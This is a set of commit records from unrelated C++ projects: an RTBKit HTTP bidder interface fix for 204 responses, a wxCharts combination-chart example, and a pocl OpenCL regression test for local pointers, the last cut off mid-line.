{\n                             Bids bids;\n\n                             for (const auto &bid: seatbid.bid) {\n                                 Bid theBid;\n\n                                 int crid = bid.crid.toInt();\n                                 int creativeIndex = indexOf(config->creatives,\n                                     &Creative::id, crid);\n\n                                 if (creativeIndex == -1) {\n                                     throw ML::Exception(ML::format(\n                                        \"Unknown creative id: %d\", crid));\n                                 }\n\n                                 theBid.creativeIndex = creativeIndex;\n                                 theBid.price = USD_CPM(bid.price.val);\n                                 theBid.priority = 0.0;\n\n                                 int spotIndex = indexOf(openRtbRequest.imp,\n                                                        &OpenRTB::Impression::id, bid.impid);\n                                 if (spotIndex == -1) {\n                                     throw ML::Exception(ML::format(\n                                         \"Unknown impression id: %s\", bid.impid.toString()));\n                                 }\n\n                                 theBid.spotIndex = spotIndex;\n\n                                 bids.push_back(std::move(theBid));\n                             }\n                             submitBids(agent, auction->id, bids, wcm);\n                         }\n                     }\n                }\n        );\n\n        HttpRequest::Content reqContent { requestStr, \"application\/json\" };\n        RestParams headers { { \"x-openrtb-version\", \"2.1\" } };\n       \/\/ std::cerr << \"Sending HTTP POST to: \" << host << \" \" << path << std::endl;\n       \/\/ std::cerr << \"Content \" << reqContent.str << std::endl;\n\n        httpClient->post(path, callbacks, reqContent,\n                         { } \/* queryParams *\/, headers);\n    }\n}\n\nvoid HttpBidderInterface::sendWinMessage(std::string const & agent,\n                                         std::string const & id,\n                                         Amount price) {\n}\n\nvoid HttpBidderInterface::sendWinMessage(std::string const & agent,\n                                         Amount price,\n                                         FinishedInfo const & event) {\n}\n\nvoid HttpBidderInterface::sendLateWinMessage(std::string const & agent,\n                                             Amount price,\n                                             FinishedInfo const & event) {\n}\n\nvoid HttpBidderInterface::sendLossMessage(std::string const & agent,\n                                          std::string const & id) {\n}\n\nvoid HttpBidderInterface::sendLossMessage(std::string const & agent,\n                                          FinishedInfo const & event) {\n}\n\nvoid HttpBidderInterface::sendCampaignEventMessage(std::string const & agent,\n                                                   std::string const & label,\n                                                   FinishedInfo const & event) {\n}\n\nvoid HttpBidderInterface::sendBidLostMessage(std::string const & agent,\n                                             std::shared_ptr<Auction> const & auction) {\n}\n\nvoid HttpBidderInterface::sendBidDroppedMessage(std::string const & agent,\n                                                std::shared_ptr<Auction> const & auction) {\n}\n\nvoid HttpBidderInterface::sendBidInvalidMessage(std::string const & agent,\n                                                std::string const & reason,\n                                                std::shared_ptr<Auction> const & auction) {\n}\n\nvoid HttpBidderInterface::sendNoBudgetMessage(std::string const & agent,\n                                              std::shared_ptr<Auction> const & auction) {\n}\n\nvoid HttpBidderInterface::sendTooLateMessage(std::string const & agent,\n                                             std::shared_ptr<Auction> const & auction) {\n}\n\nvoid HttpBidderInterface::sendMessage(std::string const & agent,\n                                      std::string const & message) {\n}\n\nvoid HttpBidderInterface::sendErrorMessage(std::string const & agent,\n                                           std::string const & error,\n                                           std::vector<std::string> const & payload) {\n}\n\nvoid HttpBidderInterface::sendPingMessage(std::string const & agent,\n                                          int ping) {\n    ExcCheck(ping == 0 || ping == 1, \"Bad PING level, must be either 0 or 1\");\n\n    auto encodeDate = [](Date date) {\n        return ML::format(\"%.5f\", date.secondsSinceEpoch());\n    };\n\n    const std::string sentTime = encodeDate(Date::now());\n    const std::string receivedTime = sentTime;\n    const std::string pong = (ping == 0 ? \"PONG0\" : \"PONG1\");\n    std::vector<std::string> message { agent, pong, sentTime, receivedTime };\n    router->handleAgentMessage(ping, message);\n}\n\nvoid HttpBidderInterface::send(std::shared_ptr<PostAuctionEvent> const & event) {\n}\n\nbool HttpBidderInterface::prepareRequest(OpenRTB::BidRequest &request,\n                                         const RTBKIT::BidRequest &originalRequest,\n                                         const std::map<std::string, BidInfo> &bidders) const {\n    tagRequest(request, bidders);\n\n    \/\/ We update the tmax value before sending the BidRequest to substract our processing time\n    double processingTimeMs = originalRequest.timestamp.secondsUntil(Date::now()) * 1000;\n    int oldTmax = request.tmax.value();\n    int newTmax = oldTmax - static_cast<int>(std::round(processingTimeMs));\n    if (newTmax <= 0) {\n        return false;\n    }\n#if 0\n    std::cerr << \"old tmax = \" << oldTmax << std::endl\n              << \"new tmax = \" << newTmax << std::endl;\n#endif\n    ExcCheck(newTmax <= oldTmax, \"Wrong tmax calculation\");\n    request.tmax.val = newTmax;\n    return true;\n}\n\nvoid HttpBidderInterface::submitBids(const std::string &agent, Id auctionId,\n                                     const Bids &bids, WinCostModel wcm)\n{\n     Json::FastWriter writer;\n     std::vector<std::string> message { agent, \"BID\" };\n     message.push_back(auctionId.toString());\n     std::string bidsStr = writer.write(bids.toJson());\n     std::string wcmStr = writer.write(wcm.toJson());\n     message.push_back(std::move(bidsStr));\n     message.push_back(std::move(wcmStr));\n\n     router->doBid(message);\n}\n\n\/\/\n\/\/ factory\n\/\/\n\nnamespace {\n\nstruct AtInit {\n    AtInit()\n    {\n        BidderInterface::registerFactory(\"http\", [](std::string const & name , std::shared_ptr<ServiceProxies> const & proxies, Json::Value const & json) {\n            return new HttpBidderInterface(name, proxies, json);\n        });\n    }\n} atInit;\n\n}\n\n<commit_msg>HTTP Bidder does not crash anymore when receiving a 204 response<commit_after>\/* http_bidder_interface.cc\n   Eric Robert, 2 April 2014\n   Copyright (c) 2011 Datacratic.  All rights reserved.\n*\/\n\n#include \"http_bidder_interface.h\"\n#include \"jml\/db\/persistent.h\"\n#include \"soa\/service\/http_client.h\"\n#include \"soa\/utils\/generic_utils.h\"\n#include \"rtbkit\/common\/messages.h\"\n#include \"rtbkit\/plugins\/bid_request\/openrtb_bid_request.h\"\n#include \"rtbkit\/openrtb\/openrtb_parsing.h\"\n#include \"rtbkit\/core\/router\/router.h\"\n\nusing namespace Datacratic;\nusing namespace RTBKIT;\n\nnamespace {\n    DefaultDescription<OpenRTB::BidRequest> desc;\n\n    void tagRequest(OpenRTB::BidRequest &request,\n                    const std::map<std::string, BidInfo> &bidders)\n    {\n\n        for (const auto &bidder: bidders) {\n            const auto &agentConfig = bidder.second.agentConfig;\n            const auto &spots = bidder.second.imp;\n            const auto &creatives = agentConfig->creatives;\n\n            Json::Value creativesValue(Json::arrayValue);\n            for (const auto &spot: spots) {\n                const int adSpotIndex = spot.first;\n                ExcCheck(adSpotIndex >= 0 && adSpotIndex < request.imp.size(),\n                         \"adSpotIndex out of range\");\n                auto &imp = request.imp[adSpotIndex];\n                auto &ext = imp.ext;\n                for (int creativeIndex: spot.second) {\n                    ExcCheck(creativeIndex >= 0 && creativeIndex < creatives.size(),\n                             \"creativeIndex out of range\");\n                    const int creativeId = creatives[creativeIndex].id;\n                    creativesValue.append(creativeId);\n                }\n\n                ext[\"allowed_ids\"][std::to_string(agentConfig->externalId)] =\n                    std::move(creativesValue);\n\n            }\n\n        }\n\n    }\n}\n\n\nHttpBidderInterface::HttpBidderInterface(std::string name,\n                                         std::shared_ptr<ServiceProxies> proxies,\n                                         Json::Value const & json) {\n    host = json[\"host\"].asString();\n    path = json[\"path\"].asString();\n    httpClient.reset(new HttpClient(host));\n    loop.addSource(\"HttpBidderInterface::httpClient\", httpClient);\n}\n\n\nvoid HttpBidderInterface::sendAuctionMessage(std::shared_ptr<Auction> const & auction,\n                                             double timeLeftMs,\n                                             std::map<std::string, BidInfo> const & bidders) {\n    using namespace std;\n    for(auto & item : bidders) {\n        auto & agent = item.first;\n        auto & info = router->agents[agent];\n        const auto &config = info.config;\n        BidRequest originalRequest = *auction->request;\n        WinCostModel wcm = auction->exchangeConnector->getWinCostModel(*auction, *info.config);\n\n        OpenRTB::BidRequest openRtbRequest = toOpenRtb(originalRequest);\n        bool ok = prepareRequest(openRtbRequest, originalRequest, bidders);\n        auto submitNoBid = [&]() {\n            Bids bids;\n            for_each(begin(openRtbRequest.imp), end(openRtbRequest.imp),\n                     [&](const OpenRTB::Impression &imp) {\n                Bid theBid;\n                theBid.price = USD_CPM(0);\n                bids.push_back(move(theBid));\n            });\n            submitBids(agent, auction->id, bids, wcm);\n        };\n\n        \/* If we took too much time processing the request, then we don't send it.\n           Instead, we're making null bids for each impression\n        *\/\n        if (!ok) {\n            submitNoBid();\n            return;\n        }\n        StructuredJsonPrintingContext context;\n        desc.printJson(&openRtbRequest, context);\n        auto requestStr = context.output.toString();\n\n        \/* We need to capture by copy inside the lambda otherwise we might get\n           a dangling reference if we go out of scope before receiving the http response\n        *\/\n        auto callbacks = std::make_shared<HttpClientSimpleCallbacks>(\n                [=](const HttpRequest &, HttpClientError errorCode,\n                    int statusCode, const std::string &, std::string &&body)\n                {\n                    if (errorCode != HttpClientError::NONE) {\n                        auto toErrorString = [](HttpClientError code) -> std::string {\n                            switch (code) {\n                                #define CASE(code) \\\n                                    case code: \\\n                                        return #code;\n                                CASE(HttpClientError::NONE)\n                                CASE(HttpClientError::UNKNOWN)\n                                CASE(HttpClientError::TIMEOUT)\n                                CASE(HttpClientError::HOST_NOT_FOUND)\n                                CASE(HttpClientError::COULD_NOT_CONNECT)\n                                #undef CASE\n                            }\n                            ExcCheck(false, \"Invalid code path\");\n                            return \"\";\n                        };\n                        cerr << \"Error requesting \" << host\n                                  << \": \" << toErrorString(errorCode);\n                      }\n                      else if (statusCode == 204) {\n                         submitNoBid();\n                      }\n                      else if (statusCode == 200) {\n                        \/\/ cerr << \"Response: \" << body << endl;\n                         OpenRTB::BidResponse response;\n                         ML::Parse_Context context(\"payload\",\n                               body.c_str(), body.size());\n                         StreamingJsonParsingContext jsonContext(context);\n                         static DefaultDescription<OpenRTB::BidResponse> respDesc;\n                         respDesc.parseJson(&response, jsonContext);\n\n                         for (const auto &seatbid: response.seatbid) {\n                             Bids bids;\n\n                             for (const auto &bid: seatbid.bid) {\n                                 Bid theBid;\n\n                                 int crid = bid.crid.toInt();\n                                 int creativeIndex = indexOf(config->creatives,\n                                     &Creative::id, crid);\n\n                                 if (creativeIndex == -1) {\n                                     throw ML::Exception(ML::format(\n                                        \"Unknown creative id: %d\", crid));\n                                 }\n\n                                 theBid.creativeIndex = creativeIndex;\n                                 theBid.price = USD_CPM(bid.price.val);\n                                 theBid.priority = 0.0;\n\n                                 int spotIndex = indexOf(openRtbRequest.imp,\n                                                        &OpenRTB::Impression::id, bid.impid);\n                                 if (spotIndex == -1) {\n                                     throw ML::Exception(ML::format(\n                                         \"Unknown impression id: %s\", bid.impid.toString()));\n                                 }\n\n                                 theBid.spotIndex = spotIndex;\n\n                                 bids.push_back(std::move(theBid));\n                             }\n                             submitBids(agent, auction->id, bids, wcm);\n                         }\n                     }\n                }\n        );\n\n        HttpRequest::Content reqContent { requestStr, \"application\/json\" };\n        RestParams headers { { \"x-openrtb-version\", \"2.1\" } };\n       \/\/ std::cerr << \"Sending HTTP POST to: \" << host << \" \" << path << std::endl;\n       \/\/ std::cerr << \"Content \" << reqContent.str << std::endl;\n\n        httpClient->post(path, callbacks, reqContent,\n                         { } \/* queryParams *\/, headers);\n    }\n}\n\nvoid HttpBidderInterface::sendWinMessage(std::string const & agent,\n                                         std::string const & id,\n                                         Amount price) {\n}\n\nvoid HttpBidderInterface::sendWinMessage(std::string const & agent,\n                                         Amount price,\n                                         FinishedInfo const & event) {\n}\n\nvoid HttpBidderInterface::sendLateWinMessage(std::string const & agent,\n                                             Amount price,\n                                             FinishedInfo const & event) {\n}\n\nvoid HttpBidderInterface::sendLossMessage(std::string const & agent,\n                                          std::string const & id) {\n}\n\nvoid HttpBidderInterface::sendLossMessage(std::string const & agent,\n                                          FinishedInfo const & event) {\n}\n\nvoid HttpBidderInterface::sendCampaignEventMessage(std::string const & agent,\n                                                   std::string const & label,\n                                                   FinishedInfo const & event) {\n}\n\nvoid HttpBidderInterface::sendBidLostMessage(std::string const & agent,\n                                             std::shared_ptr<Auction> const & auction) {\n}\n\nvoid HttpBidderInterface::sendBidDroppedMessage(std::string const & agent,\n                                                std::shared_ptr<Auction> const & auction) {\n}\n\nvoid HttpBidderInterface::sendBidInvalidMessage(std::string const & agent,\n                                                std::string const & reason,\n                                                std::shared_ptr<Auction> const & auction) {\n}\n\nvoid HttpBidderInterface::sendNoBudgetMessage(std::string const & agent,\n                                              std::shared_ptr<Auction> const & auction) {\n}\n\nvoid HttpBidderInterface::sendTooLateMessage(std::string const & agent,\n                                             std::shared_ptr<Auction> const & auction) {\n}\n\nvoid HttpBidderInterface::sendMessage(std::string const & agent,\n                                      std::string const & message) {\n}\n\nvoid HttpBidderInterface::sendErrorMessage(std::string const & agent,\n                                           std::string const & error,\n                                           std::vector<std::string> const & payload) {\n}\n\nvoid HttpBidderInterface::sendPingMessage(std::string const & agent,\n                                          int ping) {\n    ExcCheck(ping == 0 || ping == 1, \"Bad PING level, must be either 0 or 1\");\n\n    auto encodeDate = [](Date date) {\n        return ML::format(\"%.5f\", date.secondsSinceEpoch());\n    };\n\n    const std::string sentTime = encodeDate(Date::now());\n    const std::string receivedTime = sentTime;\n    const std::string pong = (ping == 0 ? \"PONG0\" : \"PONG1\");\n    std::vector<std::string> message { agent, pong, sentTime, receivedTime };\n    router->handleAgentMessage(message);\n}\n\nvoid HttpBidderInterface::send(std::shared_ptr<PostAuctionEvent> const & event) {\n}\n\nbool HttpBidderInterface::prepareRequest(OpenRTB::BidRequest &request,\n                                         const RTBKIT::BidRequest &originalRequest,\n                                         const std::map<std::string, BidInfo> &bidders) const {\n    tagRequest(request, bidders);\n\n    \/\/ We update the tmax value before sending the BidRequest to substract our processing time\n    double processingTimeMs = originalRequest.timestamp.secondsUntil(Date::now()) * 1000;\n    int oldTmax = request.tmax.value();\n    int newTmax = oldTmax - static_cast<int>(std::round(processingTimeMs));\n    if (newTmax <= 0) {\n        return false;\n    }\n#if 0\n    std::cerr << \"old tmax = \" << oldTmax << std::endl\n              << \"new tmax = \" << newTmax << std::endl;\n#endif\n    ExcCheck(newTmax <= oldTmax, \"Wrong tmax calculation\");\n    request.tmax.val = newTmax;\n    return true;\n}\n\nvoid HttpBidderInterface::submitBids(const std::string &agent, Id auctionId,\n                                     const Bids &bids, WinCostModel wcm)\n{\n     Json::FastWriter writer;\n     std::vector<std::string> message { agent, \"BID\" };\n     message.push_back(auctionId.toString());\n     std::string bidsStr = writer.write(bids.toJson());\n     std::string wcmStr = writer.write(wcm.toJson());\n     message.push_back(std::move(bidsStr));\n     message.push_back(std::move(wcmStr));\n\n     router->doBid(message);\n}\n\n\/\/\n\/\/ factory\n\/\/\n\nnamespace {\n\nstruct AtInit {\n    AtInit()\n    {\n        BidderInterface::registerFactory(\"http\", [](std::string const & name , std::shared_ptr<ServiceProxies> const & proxies, Json::Value const & json) {\n            return new HttpBidderInterface(name, proxies, json);\n        });\n    }\n} atInit;\n\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    Copyright (c) 2017 Xavier Leclercq\n\n    Permission is hereby granted, free of charge, to any person obtaining a\n    copy of this software and associated documentation files (the \"Software\"),\n    to deal in the Software without restriction, including without limitation\n    the rights to use, copy, modify, merge, publish, distribute, sublicense,\n    and\/or sell copies of the Software, and to permit persons to whom the\n    Software is furnished to do so, subject to the following conditions:\n\n    The above copyright notice and this permission notice shall be included in\n    all copies or substantial portions of the Software.\n\n    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n    THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n    IN THE SOFTWARE.\n*\/\n\n#include \"WxCombinationChartFrame.h\"\n#include <wx\/panel.h>\n#include <wx\/sizer.h>\n#include <wx\/charts\/wxcharts.h>\n\nWxCombinationChartFrame::WxCombinationChartFrame(const wxString& title)\n    : wxFrame(NULL, wxID_ANY, title)\n{\n    \/\/ Create a top-level panel to hold all the contents of the frame\n    wxPanel* panel = new wxPanel(this, wxID_ANY);\n\n    \/\/ Create the combination chart widget\n    wxCombinationChartCtrl* combinationChartCtrl = new wxCombinationChartCtrl(panel, wxID_ANY);\n\n    \/\/ Create the data for the bar chart widget\n    wxVector<wxString> labels;\n    labels.push_back(\"January\");\n    labels.push_back(\"February\");\n    labels.push_back(\"March\");\n    labels.push_back(\"April\");\n    labels.push_back(\"May\");\n    labels.push_back(\"June\");\n    labels.push_back(\"July\");\n    wxBarChartData chartData(labels);\n\n    \/\/ Add the first dataset\n    wxVector<wxDouble> points1;\n    points1.push_back(3);\n    points1.push_back(2.5);\n    points1.push_back(1.2);\n    points1.push_back(3);\n    points1.push_back(6);\n    points1.push_back(5);\n    points1.push_back(1);\n    wxBarChartDataset::ptr dataset1(\n        new wxBarChartDataset(\n            wxColor(220, 220, 220, 0x7F),\n            wxColor(220, 220, 220, 0xCC),\n            points1)\n    );\n    chartData.AddDataset(dataset1);\n    combinationChartCtrl->AddBarChart(chartData);\n\n    \/\/ Set up the sizer for the panel\n    wxBoxSizer* panelSizer = new wxBoxSizer(wxHORIZONTAL);\n    panelSizer->Add(combinationChartCtrl, 1, wxEXPAND);\n    panel->SetSizer(panelSizer);\n\n    \/\/ Set up the sizer for the frame\n    wxBoxSizer* topSizer = new wxBoxSizer(wxHORIZONTAL);\n    topSizer->Add(panel, 1, wxEXPAND);\n    SetSizerAndFit(topSizer);\n}\n<commit_msg>Fixed function name<commit_after>\/*\n    Copyright (c) 2017 Xavier Leclercq\n\n    Permission is hereby granted, free of charge, to any person obtaining a\n    copy of this software and associated documentation files (the \"Software\"),\n    to deal in the Software without restriction, including without limitation\n    the rights to use, copy, modify, merge, publish, distribute, sublicense,\n    and\/or sell copies of the Software, and to permit persons to whom the\n    Software is furnished to do so, subject to the following conditions:\n\n    The above copyright notice and this permission notice shall be included in\n    all copies or substantial portions of the Software.\n\n    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n    THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n    IN THE SOFTWARE.\n*\/\n\n#include \"WxCombinationChartFrame.h\"\n#include <wx\/panel.h>\n#include <wx\/sizer.h>\n#include <wx\/charts\/wxcharts.h>\n\nWxCombinationChartFrame::WxCombinationChartFrame(const wxString& title)\n    : wxFrame(NULL, wxID_ANY, title)\n{\n    \/\/ Create a top-level panel to hold all the contents of the frame\n    wxPanel* panel = new wxPanel(this, wxID_ANY);\n\n    \/\/ Create the combination chart widget\n    wxCombinationChartCtrl* combinationChartCtrl = new wxCombinationChartCtrl(panel, wxID_ANY);\n\n    \/\/ Create the data for the bar chart widget\n    wxVector<wxString> labels;\n    labels.push_back(\"January\");\n    labels.push_back(\"February\");\n    labels.push_back(\"March\");\n    labels.push_back(\"April\");\n    labels.push_back(\"May\");\n    labels.push_back(\"June\");\n    labels.push_back(\"July\");\n    wxBarChartData chartData(labels);\n\n    \/\/ Add the first dataset\n    wxVector<wxDouble> points1;\n    points1.push_back(3);\n    points1.push_back(2.5);\n    points1.push_back(1.2);\n    points1.push_back(3);\n    points1.push_back(6);\n    points1.push_back(5);\n    points1.push_back(1);\n    wxBarChartDataset::ptr dataset1(\n        new wxBarChartDataset(\n            wxColor(220, 220, 220, 0x7F),\n            wxColor(220, 220, 220, 0xCC),\n            points1)\n    );\n    chartData.AddDataset(dataset1);\n    combinationChartCtrl->AddColumnChart(chartData);\n\n    \/\/ Set up the sizer for the panel\n    wxBoxSizer* panelSizer = new wxBoxSizer(wxHORIZONTAL);\n    panelSizer->Add(combinationChartCtrl, 1, wxEXPAND);\n    panel->SetSizer(panelSizer);\n\n    \/\/ Set up the sizer for the frame\n    wxBoxSizer* topSizer = new wxBoxSizer(wxHORIZONTAL);\n    topSizer->Add(panel, 1, wxEXPAND);\n    SetSizerAndFit(topSizer);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* Issues with __local pointers (lp:918801)\r\n\r\n   Copyright (c) 2012 Pekka Jääskeläinen \/ Tampere University of Technology\r\n   \r\n   Permission is hereby granted, free of charge, to any person obtaining a copy\r\n   of this software and associated documentation files (the \"Software\"), to deal\r\n   in the Software without restriction, including without limitation the rights\r\n   to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n   copies of the Software, and to permit persons to whom the Software is\r\n   furnished to do so, subject to the following conditions:\r\n   \r\n   The above copyright notice and this permission notice shall be included in\r\n   all copies or substantial portions of the Software.\r\n   \r\n   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n   IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n   FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n   AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n   LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n   OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\r\n   THE SOFTWARE.\r\n*\/\r\n\r\n\/\/ Enable OpenCL C++ exceptions\r\n#define CL_HPP_ENABLE_EXCEPTIONS\r\n#define CL_HPP_MINIMUM_OPENCL_VERSION 120\r\n#define CL_HPP_TARGET_OPENCL_VERSION 120\r\n#include <CL\/cl2.hpp>\r\n\r\n#include <cstdio>\r\n#include <cstdlib>\r\n#include <iostream>\r\n\r\n#include \"poclu.h\"\r\n\r\n#define WORK_ITEMS 2\r\n#define BUFFER_SIZE (WORK_ITEMS)\r\n\r\n\r\nstatic char\r\nkernelSourceCode[] = \r\n\"kernel void test_kernel (global float *a, local int *local_buf, private int scalar)\\n\"\r\n\"{\\n\"\r\n\"   int gid = get_local_id(0); \\n\"\r\n\"   local int automatic_local_scalar; \\n\"\r\n\"   local int automatic_local_buf[2];\\n\"\r\n\"\\n\"\r\n\"   __local int *p;\\n\"\r\n\"\\n\"\r\n\"   p = automatic_local_buf;\\n\"\r\n\"   p[gid] = gid + scalar;\\n\"\r\n\"   p = local_buf;\\n\"\r\n\"   p[gid] = a[gid];\\n\"\r\n\"   automatic_local_scalar = scalar;\\n\"\r\n\"   barrier(CLK_LOCAL_MEM_FENCE);\\n\"\r\n\"   a[gid] = automatic_local_buf[gid] + local_buf[gid] + automatic_local_scalar;\\n\"\r\n\"   \\n\"\r\n\"}\\n\";\r\n\r\nint\r\nmain(void)\r\n{\r\n    float A[BUFFER_SIZE];\r\n\r\n    try {\r\n        std::vector<cl::Platform> platformList;\r\n\r\n        \/\/ Pick platform\r\n        cl::Platform::get(&platformList);\r\n\r\n        \/\/ Pick first platform\r\n        cl_context_properties cprops[] = {\r\n            CL_CONTEXT_PLATFORM, (cl_context_properties)(platformList[0])(), 0};\r\n        cl::Context context(CL_DEVICE_TYPE_CPU|CL_DEVICE_TYPE_GPU, cprops);\r\n\r\n        \/\/ Query the set of devices attched to the context\r\n        std::vector<cl::Device> devices = context.getInfo<CL_CONTEXT_DEVICES>();\r\n\r\n        \/\/ Create and program from source\r\n        cl::Program::Sources sources({kernelSourceCode});\r\n        cl::Program program(context, sources);\r\n\r\n        cl_device_id dev_id = devices.at(0)();\r\n\r\n        int scalar = poclu_bswap_cl_int (dev_id, 4);\r\n\r\n        for (int i = 0; i < BUFFER_SIZE; ++i)\r\n            A[i] = poclu_bswap_cl_float(dev_id, (cl_float)i);\r\n\r\n        \/\/ Build program\r\n        program.build(devices);\r\n\r\n        cl::Buffer aBuffer = cl::Buffer(\r\n            context, \r\n            CL_MEM_COPY_HOST_PTR,\r\n            BUFFER_SIZE * sizeof(float), \r\n            (void *) &A[0]);\r\n\r\n        cl::Buffer localBuffer = cl::Buffer(\r\n            context, 0, BUFFER_SIZE * sizeof(int), NULL);\r\n\r\n        \/\/ Create kernel object\r\n        cl::Kernel kernel(program, \"test_kernel\");\r\n\r\n        \/\/ Set kernel args\r\n        kernel.setArg(0, aBuffer);\r\n        kernel.setArg(1, localBuffer);\r\n        kernel.setArg(2, scalar);\r\n\r\n        \/\/ Create command queue\r\n        cl::CommandQueue queue(context, devices[0], 0);\r\n \r\n        \/\/ Do the work\r\n        queue.enqueueNDRangeKernel(\r\n            kernel, \r\n            cl::NullRange, \r\n            cl::NDRange(WORK_ITEMS),\r\n            cl::NDRange(WORK_ITEMS));\r\n \r\n        \/\/ Map aBuffer to host pointer. This enforces a sync with \r\n        \/\/ the host backing space, remember we choose GPU device.\r\n        float * res = (float *) queue.enqueueMapBuffer(\r\n            aBuffer,\r\n            CL_TRUE, \/\/ block \r\n            CL_MAP_READ,\r\n            0,\r\n            BUFFER_SIZE * sizeof(float));\r\n\r\n        res[0] = poclu_bswap_cl_float (dev_id, res[0]);\r\n        res[1] = poclu_bswap_cl_float (dev_id, res[1]);\r\n        bool ok = res[0] == 8 && res[1] == 10;\r\n        if (ok) {\r\n            return EXIT_SUCCESS;\r\n        } else {\r\n            std::cout << \"NOK \" << res[0] << \" \" << res[1] << std::endl;\r\n            std::cout << \"res@\" << std::hex << res << std::endl;\r\n            return EXIT_FAILURE;\r\n        }\r\n\r\n        \/\/ Finally release our hold on accessing the memory\r\n        queue.enqueueUnmapMemObject(\r\n            aBuffer, (void *) res);\r\n \r\n        \/\/ There is no need to perform a finish on the final unmap\r\n        \/\/ or release any objects as this all happens implicitly with\r\n        \/\/ the C++ Wrapper API.\r\n    } \r\n    catch (cl::Error err) {\r\n         std::cerr\r\n             << \"ERROR: \"\r\n             << err.what()\r\n             << \"(\"\r\n             << err.err()\r\n             << \")\"\r\n             << std::endl;\r\n\r\n         return EXIT_FAILURE;\r\n    }\r\n\r\n    return EXIT_SUCCESS;\r\n}\r\n<commit_msg>Fix regression\/test_locals: do not set localBuffer<commit_after>\/* Issues with __local pointers (lp:918801)\r\n\r\n   Copyright (c) 2012 Pekka Jääskeläinen \/ Tampere University of Technology\r\n   \r\n   Permission is hereby granted, free of charge, to any person obtaining a copy\r\n   of this software and associated documentation files (the \"Software\"), to deal\r\n   in the Software without restriction, including without limitation the rights\r\n   to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n   copies of the Software, and to permit persons to whom the Software is\r\n   furnished to do so, subject to the following conditions:\r\n   \r\n   The above copyright notice and this permission notice shall be included in\r\n   all copies or substantial portions of the Software.\r\n   \r\n   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n   IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n   FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n   AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n   LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n   OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\r\n   THE SOFTWARE.\r\n*\/\r\n\r\n\/\/ Enable OpenCL C++ exceptions\r\n#define CL_HPP_ENABLE_EXCEPTIONS\r\n#define CL_HPP_MINIMUM_OPENCL_VERSION 120\r\n#define CL_HPP_TARGET_OPENCL_VERSION 120\r\n#include <CL\/cl2.hpp>\r\n\r\n#include <cstdio>\r\n#include <cstdlib>\r\n#include <iostream>\r\n\r\n#include \"poclu.h\"\r\n\r\n#define WORK_ITEMS 2\r\n#define BUFFER_SIZE (WORK_ITEMS)\r\n\r\n\r\nstatic char\r\nkernelSourceCode[] = \r\n\"kernel void test_kernel (global float *a, local int *local_buf, private int scalar)\\n\"\r\n\"{\\n\"\r\n\"   int gid = get_local_id(0); \\n\"\r\n\"   local int automatic_local_scalar; \\n\"\r\n\"   local int automatic_local_buf[2];\\n\"\r\n\"\\n\"\r\n\"   __local int *p;\\n\"\r\n\"\\n\"\r\n\"   p = automatic_local_buf;\\n\"\r\n\"   p[gid] = gid + scalar;\\n\"\r\n\"   p = local_buf;\\n\"\r\n\"   p[gid] = a[gid];\\n\"\r\n\"   automatic_local_scalar = scalar;\\n\"\r\n\"   barrier(CLK_LOCAL_MEM_FENCE);\\n\"\r\n\"   a[gid] = automatic_local_buf[gid] + local_buf[gid] + automatic_local_scalar;\\n\"\r\n\"   \\n\"\r\n\"}\\n\";\r\n\r\nint\r\nmain(void)\r\n{\r\n    float A[BUFFER_SIZE];\r\n\r\n    try {\r\n        std::vector<cl::Platform> platformList;\r\n\r\n        \/\/ Pick platform\r\n        cl::Platform::get(&platformList);\r\n\r\n        \/\/ Pick first platform\r\n        cl_context_properties cprops[] = {\r\n            CL_CONTEXT_PLATFORM, (cl_context_properties)(platformList[0])(), 0};\r\n        cl::Context context(CL_DEVICE_TYPE_CPU|CL_DEVICE_TYPE_GPU, cprops);\r\n\r\n        \/\/ Query the set of devices attched to the context\r\n        std::vector<cl::Device> devices = context.getInfo<CL_CONTEXT_DEVICES>();\r\n\r\n        \/\/ Create and program from source\r\n        cl::Program::Sources sources({kernelSourceCode});\r\n        cl::Program program(context, 